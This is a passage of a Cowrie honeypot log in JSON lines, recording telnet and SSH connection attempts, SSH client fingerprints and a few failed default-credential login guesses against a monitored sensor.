{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51354,"dst_ip":"10.17.0.5","dst_port":23,"session":"16262ecdd85d","protocol":"telnet","message":"New connection: 165.232.131.181:51354 (10.17.0.5:23) [session: 16262ecdd85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:38.909753Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51696,"dst_ip":"10.17.0.5","dst_port":23,"session":"38236cdf1999","protocol":"telnet","message":"New connection: 165.232.131.181:51696 (10.17.0.5:23) [session: 38236cdf1999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:39.909345Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":52730,"dst_ip":"10.17.0.5","dst_port":23,"session":"277c2e29e92c","protocol":"telnet","message":"New connection: 165.232.131.181:52730 (10.17.0.5:23) [session: 277c2e29e92c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:43.040297Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42352,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e8b044effec","protocol":"telnet","message":"New connection: 62.210.97.77:42352 (10.17.0.5:23) [session: 6e8b044effec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:45.261930Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55822,"dst_ip":"10.17.0.5","dst_port":23,"session":"11917fa0074f","protocol":"telnet","message":"New connection: 65.60.27.33:55822 (10.17.0.5:23) [session: 11917fa0074f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:45.270746Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58476,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee83983fd7b3","protocol":"telnet","message":"New connection: 65.60.27.33:58476 (10.17.0.5:23) [session: ee83983fd7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:47.509954Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42360,"dst_ip":"10.17.0.5","dst_port":23,"session":"684541ce2f73","protocol":"telnet","message":"New connection: 62.210.97.77:42360 (10.17.0.5:23) [session: 684541ce2f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:48.067371Z"}
{"eventid":"cowrie.session.closed","duration":47.57403111457825,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:48.284780Z","src_ip":"38.54.119.93","session":"3ab82b0e53cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.16053104400635,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:50.014492Z","src_ip":"62.210.97.77","session":"abeff0396415","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":54430,"dst_ip":"159.203.135.109","dst_port":22,"session":"32073afd49c0","protocol":"ssh","message":"New connection: 181.234.2.36:54430 (159.203.135.109:22) [session: 32073afd49c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:52.714089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:52.717883Z","src_ip":"181.234.2.36","session":"32073afd49c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:52.813325Z","src_ip":"181.234.2.36","session":"32073afd49c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"aA123456@","message":"login attempt [ubuntu/aA123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:53.207250Z","src_ip":"181.234.2.36","session":"32073afd49c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.21466040611267,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:54.092936Z","src_ip":"65.60.27.33","session":"4921d0ace2ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:54.298831Z","src_ip":"181.234.2.36","session":"32073afd49c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44540,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4baf8db4f75","protocol":"telnet","message":"New connection: 65.60.27.33:44540 (10.17.0.5:23) [session: f4baf8db4f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:00.685692Z"}
{"eventid":"cowrie.session.closed","duration":40.78058910369873,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:02.245516Z","src_ip":"65.60.27.33","session":"6854687551fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43988,"dst_ip":"10.17.0.5","dst_port":23,"session":"be3c1c57d3bd","protocol":"telnet","message":"New connection: 62.210.97.77:43988 (10.17.0.5:23) [session: be3c1c57d3bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:03.516134Z"}
{"eventid":"cowrie.session.closed","duration":42.43925404548645,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:04.628611Z","src_ip":"165.232.131.181","session":"d7c582e6927e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.45484519004822,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:05.044365Z","src_ip":"62.210.97.77","session":"6e28dba488b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.124815702438354,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:08.065601Z","src_ip":"65.60.27.33","session":"ec4ed27e20e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":43012,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f75c52011a6","protocol":"ssh","message":"New connection: 172.185.24.228:43012 (10.17.0.5:22) [session: 3f75c52011a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:09.386158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:09.394397Z","src_ip":"172.185.24.228","session":"3f75c52011a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44892,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5280f7ee3fa","protocol":"telnet","message":"New connection: 62.210.97.77:44892 (10.17.0.5:23) [session: c5280f7ee3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:09.408110Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34054,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2c1bc2c9587","protocol":"telnet","message":"New connection: 165.232.131.181:34054 (10.17.0.5:23) [session: d2c1bc2c9587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:09.427448Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:09.474627Z","src_ip":"172.185.24.228","session":"3f75c52011a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"server123","message":"login attempt [test/server123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:10.629265Z","src_ip":"172.185.24.228","session":"3f75c52011a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:11.722202Z","src_ip":"172.185.24.228","session":"3f75c52011a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44900,"dst_ip":"10.17.0.5","dst_port":23,"session":"df5da4f5012c","protocol":"telnet","message":"New connection: 62.210.97.77:44900 (10.17.0.5:23) [session: df5da4f5012c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:11.831995Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44904,"dst_ip":"10.17.0.5","dst_port":23,"session":"d05b2d48b74c","protocol":"telnet","message":"New connection: 62.210.97.77:44904 (10.17.0.5:23) [session: d05b2d48b74c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:11.980365Z"}
{"eventid":"cowrie.session.closed","duration":38.17427730560303,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:17.083929Z","src_ip":"165.232.131.181","session":"16262ecdd85d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.464550256729126,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:18.726348Z","src_ip":"62.210.97.77","session":"6e8b044effec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55256,"dst_ip":"10.17.0.5","dst_port":23,"session":"034f4469a904","protocol":"telnet","message":"New connection: 38.54.119.93:55256 (10.17.0.5:23) [session: 034f4469a904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:21.242920Z"}
{"eventid":"cowrie.session.closed","duration":35.306183099746704,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:23.373461Z","src_ip":"62.210.97.77","session":"684541ce2f73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.379035234451294,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:24.419255Z","src_ip":"165.232.131.181","session":"277c2e29e92c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.014857053756714,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:27.257656Z","src_ip":"38.54.119.93","session":"034f4469a904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44286,"dst_ip":"10.17.0.5","dst_port":23,"session":"0db710d831f5","protocol":"telnet","message":"New connection: 62.210.97.77:44286 (10.17.0.5:23) [session: 0db710d831f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:27.512532Z"}
{"eventid":"cowrie.session.closed","duration":48.11270546913147,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:28.021919Z","src_ip":"165.232.131.181","session":"38236cdf1999","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.36537289619446,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:28.636003Z","src_ip":"65.60.27.33","session":"11917fa0074f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.93774914741516,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:29.447599Z","src_ip":"65.60.27.33","session":"ee83983fd7b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49024,"dst_ip":"10.17.0.5","dst_port":23,"session":"8027908aa6d4","protocol":"telnet","message":"New connection: 62.210.97.77:49024 (10.17.0.5:23) [session: 8027908aa6d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:33.267288Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54144,"dst_ip":"10.17.0.5","dst_port":23,"session":"c68d33be45b1","protocol":"telnet","message":"New connection: 65.60.27.33:54144 (10.17.0.5:23) [session: c68d33be45b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:34.264674Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54766,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2e83e1c9d2a","protocol":"telnet","message":"New connection: 65.60.27.33:54766 (10.17.0.5:23) [session: e2e83e1c9d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:35.116386Z"}
{"eventid":"cowrie.session.closed","duration":2.5254006385803223,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:37.641667Z","src_ip":"65.60.27.33","session":"e2e83e1c9d2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.84994125366211,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:38.365949Z","src_ip":"62.210.97.77","session":"be3c1c57d3bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55554,"dst_ip":"10.17.0.5","dst_port":23,"session":"f96b409be5d5","protocol":"telnet","message":"New connection: 62.210.97.77:55554 (10.17.0.5:23) [session: f96b409be5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:42.586549Z"}
{"eventid":"cowrie.session.closed","duration":33.75412893295288,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:45.586020Z","src_ip":"62.210.97.77","session":"df5da4f5012c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47670,"dst_ip":"10.17.0.5","dst_port":23,"session":"970d6b3f27bc","protocol":"telnet","message":"New connection: 165.232.131.181:47670 (10.17.0.5:23) [session: 970d6b3f27bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:45.834064Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43158,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f5b4677f5cc","protocol":"telnet","message":"New connection: 38.54.119.93:43158 (10.17.0.5:23) [session: 9f5b4677f5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:46.435355Z"}
{"eventid":"cowrie.session.closed","duration":37.824772357940674,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:47.232770Z","src_ip":"62.210.97.77","session":"c5280f7ee3fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55566,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bdb618f4cf2","protocol":"telnet","message":"New connection: 62.210.97.77:55566 (10.17.0.5:23) [session: 4bdb618f4cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:47.382546Z"}
{"eventid":"cowrie.session.closed","duration":46.725815296173096,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:47.411371Z","src_ip":"65.60.27.33","session":"f4baf8db4f75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47280,"dst_ip":"10.17.0.5","dst_port":23,"session":"55f252d6f2f9","protocol":"telnet","message":"New connection: 165.232.131.181:47280 (10.17.0.5:23) [session: 55f252d6f2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:47.837018Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":55468,"dst_ip":"159.203.135.109","dst_port":22,"session":"27ddf7618b65","protocol":"ssh","message":"New connection: 80.94.92.182:55468 (159.203.135.109:22) [session: 27ddf7618b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:47.995089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:48.142040Z","src_ip":"80.94.92.182","session":"27ddf7618b65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:48.145557Z","src_ip":"80.94.92.182","session":"27ddf7618b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.331775426864624,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:49.311996Z","src_ip":"62.210.97.77","session":"d05b2d48b74c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"opadmin","password":"opadmin","message":"login attempt [opadmin/opadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:49.493736Z","src_ip":"80.94.92.182","session":"27ddf7618b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:50.634079Z","src_ip":"80.94.92.182","session":"27ddf7618b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.886011362075806,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:52.313373Z","src_ip":"165.232.131.181","session":"d2c1bc2c9587","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":43770,"dst_ip":"159.203.135.109","dst_port":22,"session":"459ee60e1f87","protocol":"ssh","message":"New connection: 181.234.2.36:43770 (159.203.135.109:22) [session: 459ee60e1f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:52.319253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:52.322946Z","src_ip":"181.234.2.36","session":"459ee60e1f87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 